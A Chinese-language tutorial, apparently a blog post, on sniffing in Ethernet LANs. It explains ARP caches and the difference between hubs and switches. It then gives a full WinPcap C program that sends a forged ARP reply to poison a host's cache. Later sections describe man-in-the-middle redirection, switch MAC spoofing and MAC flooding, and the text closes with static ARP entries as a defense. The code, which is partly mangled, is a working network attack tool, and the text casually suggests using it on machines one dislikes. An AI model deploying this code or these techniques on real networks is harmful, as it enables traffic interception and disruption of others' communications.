以太網內的嗅探sniff對于網絡安全來說并不是什么好事， 雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題， 但是如果被破壞者利用的話， 就對整個網絡構成嚴重的安全威脅。

ARP緩存表假設這樣一個網絡： 

E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
  borderColorLight=black border=1>——————————  HUB  ——————————HostA HostB HostC

其中：

A的地址為：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址為：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址為：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假設B是屬于一個嗅探愛好者的， 比如A機器的ARP緩存：

C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

這是192.168.10.1機器上的ARP緩存表， 假設， A進行一次ping 192.168.10.3操作， PING主機C， 會查詢本地的ARP緩存表， 找到C的IP地址的MAC地址， 那么就會進行數據傳輸， 目的地就是C 的MAC地址。 如果A中沒有C的ARP記錄， 那么A首先要廣播一次ARP請求， 當C接收到A 的請求后就發送一個應答， 應答中包含有C的MAC地址， 然后A接收到C的應答， 就會更新本地的ARP緩存。 接著使用這個MAC地址發送數據（由網卡附加MAC地址）。 因此， 本地高速緩存的這個ARP表是本地網絡流通的基礎， 而且這個緩存是動態的。

集線器網絡(Hub-Based)

很多網絡都是用Hub進行連接的。 數據包經過Hub傳輸到其他計算機的時候， Hub只是簡單地把這個數據包廣播到Hub的所有端口上。 這就是上面舉例中的一種網絡結構。

現在A需要發送TCP數據包給C。 首先， A需要檢查本地的ARP 緩存表， 查看是否有IP為192.168.10.3即C的ARP記錄， 如果沒有那么A將要廣播一個ARP請求， 當C接收到這個請求后， 就作出應答， 然后A更新自己的ARP緩存表。 并獲得與C的IP相對應的MAC地址。 這時就傳輸這個TCP數據包， Ethernet幀中就包含了C的MAC地址。 當數據包傳輸到HUB的時候， HUB直接把整個數據包廣播到所有的端口， 然后C就能夠接收到A發送的數據包。

正因為HUB把數據廣播到所有的端口， 所以計算機B也能夠收到A發送給C的數據包。 這正是達到了B嗅探的目的。 因此， Hub-Based的網絡基本沒有安全可言， 嗅探在這樣的網絡中非常容易。

交換網絡（Switched Lan）

交換機用來代替HUB， 正是為了能夠解決HUB的幾個安全問題， 其中就是能夠來解決嗅探問題。 Switch不是把數據包進行端口廣播， 它將通過自己的ARP緩存來決定數據包傳輸到那個端口上。 因此， 在交換網絡上， 如果把上面例子中的HUB換為Switch， B就不會接收到A發送給C的數據包， 即便設置網卡為混雜模式， 也不能進行嗅探。

ARP欺騙（ARP spoofing）

ARP協議并不只在發送了ARP請求才接收ARP應答。 當計算機接收到ARP應答數據包的時候， 就會對本地的ARP緩存進行更新， 將應答中的IP和MAC地址存儲在ARP緩存中。 因此， 在上面的假設網絡中， B向A發送一個自己偽造的ARP應答， 而這個應答中的數據為發送方IP地址是192.168.10.3（C的IP地址）， MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地址本來應該是CC-CC-CC-CC-CC-CC， 這里被偽造了）。 當A接收到B偽造的ARP應答， 就會更新本地的ARP緩存（A可不知道被偽造了）。 現在A機器的ARP緩存更新了：

C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

這可不是小事。 局域網的網絡流通可不是根據IP地址進行， 而是按照MAC地址進行傳輸。 現在192.168.10.3的MAC地址在A上被改變成一個本不存在的MAC地址。 現在A開始Ping 192.168.10.3， 網卡遞交的MAC地址是DD-DD-DD-DD-DD-DD， 結果是什么呢？網絡不通， A根本不能Ping通C！！這就是一個簡單的ARP欺騙。

我們來實現這樣的ARP欺騙。 這里需要使用一個WinPcap提供的API和驅動。 （http://winpcap.polito.it/）， winpcap是一個偉大而且開放的項目。 Windows環境下的nmap、snort、windump都是使用的winpcap。

// ARP Sender#include "stdafx.h"#include "Mac.h" //GetMacAddr()， 我寫的把字符串轉換為MAC地址的函數， 就不列在這里了#include #include #define EPT_IP 0x0800 /* type: IP */#define EPT_ARP 0x0806 /* type: ARP */#define EPT_RARP 0x8035 /* type: RARP */#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */#define ARP_REQUEST 0x0001 /* ARP request */#define ARP_REPLY 0x0002 /* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned char eh_dst[6]; /* destination ethernet addrress */unsigned char eh_src[6]; /* source ethernet addresss */unsigned short eh_type; /* ethernet pachet type */}EHHDR, *PEHHDR;typedef struct arphdr{unsigned short arp_hrd; /* format of hardware address */unsigned short arp_pro; /* format of protocol address */unsigned char arp_hln; /* length of hardware address */unsigned char arp_pln; /* length of protocol address */unsigned short arp_op; /* ARP/RARP operation */unsigned char arp_sha[6]; /* sender hardware address */unsigned long arp_spa; /* sender protocol address */unsigned char arp_tha[6]; /* target hardware address */unsigned long arp_tpa; /* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDR ehhdr;ARPHDR arphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600];char MacAddr[6];LPADAPTER lpAdapter;LPPACKET lpPacket;WCHAR AdapterName[2048];WCHAR *temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;###NextPage###//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != \0)  (*(temp-1) != \0)){if (*temp == \0) {memcpy(AdapterList,temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);//取第一個網卡（假設啦）if (!lpAdapter    (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。  （A的地址）ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){printf("warning: Unable to send more than one packet in a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");###NextPage###// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;} 

于是A接收到一個被偽造的ARP應答。 A被欺騙了！！倘若在局域網中看某某機器不順眼， 以太網中的嗅探太有作用了， 但是交換網絡對嗅探進行了限制， 讓嗅探深入程度大打折扣。 不過， 很容易就能夠發現， 主機、Switch（動態更新地址表類型， 下同）中的緩存表依然是（主要是）動態的。 要在一個交換網絡中進行有效的嗅探工作（地下黨？）， 需要采用對付各種緩存表的辦法， 連騙帶哄， 甚至亂踹， 在上面的ARP欺騙基礎中我們就能夠做到。

對目標進行ARP欺騙

就象上面程序中實現的一樣， 對目標A進行欺騙， A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。 如果進行欺騙的時候， 把C的MAC地址騙為BB-BB-BB-BB-BB-BB， 于是A發送到C上的數據包都變成發送給B的了。 這不正好是B能夠接收到A發送的數據包了么， 嗅探成功。

A對這個變化一點都沒有意識到， 但是接下來的事情就讓A產生了懷疑。 因為A和C連接不上了！！B對接收到A發送給C的數據包可沒有轉交給C。 做“man in the middle”,進行ARP重定向。 打開B的IP轉發功能， A發送過來的數據包， 轉發給C， 好比一個路由器一樣。 不過， 假如B發送ICMP重定向的話就中斷了整個計劃。 直接進行整個包的修改轉發， 捕獲到A發送給的數據包， 全部進行修改后再轉發給C， 而C接收到的數據包完全認為是從A發送來的。 不過， C發送的數據包又直接傳遞給A， 倘若再次進行對C的ARP欺騙。 現在B就完全成為A與C的中間橋梁了。

對Switch的MAC欺騙

Switch上同樣維護著一個動態的MAC緩存， 它一般是這樣， 首先， 交換機內部有一個對應的列表， 交換機的端口對應MAC地址表Port n <-> Mac記錄著每一個端口下面存在那些MAC地址， 這個表開始是空的， 交換機從來往數據幀中學習。 舉例來說， 當Port 1口所接的計算機發出了一個數據幀， 這幀數據從Port 1進入交換機， 交換機就取這個數據幀的原MAC地址AAAA， 然后在地址表中記錄：Port 1 <-> AAAA, 以后， 所有發向MAC地址為AAAA的數據幀， 就全從Port 1口輸出， 而不會從其它的口輸出。

跟前面對目標進行欺騙相類似。 如果把Switch上的MAC-PORT表修改了， 那么對應的MAC和PORT就一樣跟著改變， 本來不應該發送到嗅探器的數據結果發送過來了， 這樣也達到了嗅探的目的。 修改本地（B）發送的數據包MAC地址為原來A的MAC地址， 當經過交換機的時候， 交換機發現端口B對應的地址是機器A的MAC地址， 于是就將會把A的MAC地址同端口B相對應， 從而把發送給A的數據從端口B傳輸了， 本來這些應該是傳送到端口A的。 因此， 從機器B就能夠獲得發送給A的數據。

但是， 這里有一個問題， A將接收不到數據了。 嗅探不目的并不是要去破壞正常的數據通訊。 同時， 從剛才的欺騙中， 讓交換機中一個MAC地址對應了多個端口， 這種對于交換機處理還不清楚。 還請多指教。

對Switch進行Flood

就象上面介紹Switch的MAC和Port對應關系形成的原理， 因為MAC-PORT緩存表是動態更新的， 那么讓整個Switch的端口表都改變， 對Switch進行MAC地址欺騙的Flood， 不斷發送大量假MAC地址的數據包， Switch就更新MAC-PORT緩存， 如果能通過這樣的辦法把以前正常的MAC和Port對應的關系破壞了， 那么Switch就會進行泛洪發送給每一個端口， 讓Switch基本變成一個HUB， 向所有的端口發送數據包， 要嗅探的目的一樣能夠達到。

存在的問題， Switch對這種極限情況的處理， 因為屬于不正常情況， 可能會引起包丟失情況。 而且現在對這種極限情況的Switch狀態還很不了解。 如果對網絡通訊造成了大的破壞， 這不屬于正常的嗅探（嗅探也會引起一些丟失）。

對Switch進行各種手段的操作， 需要小心， 如果打開了端口保護， 那么可能會讓交換機關閉所有用戶。 因此， 對交換機這樣的設備進行欺騙或者其他操作， 還不如對一些上級設備進行欺騙， 比如目標主機或者路由器。

至于上面關于嗅探的手段都是基于這個動態表進行的。 因此， 使用靜態的ARP就能夠進行防范了。 對于WIN， 使用arp -s 來進行靜態ARP的設置。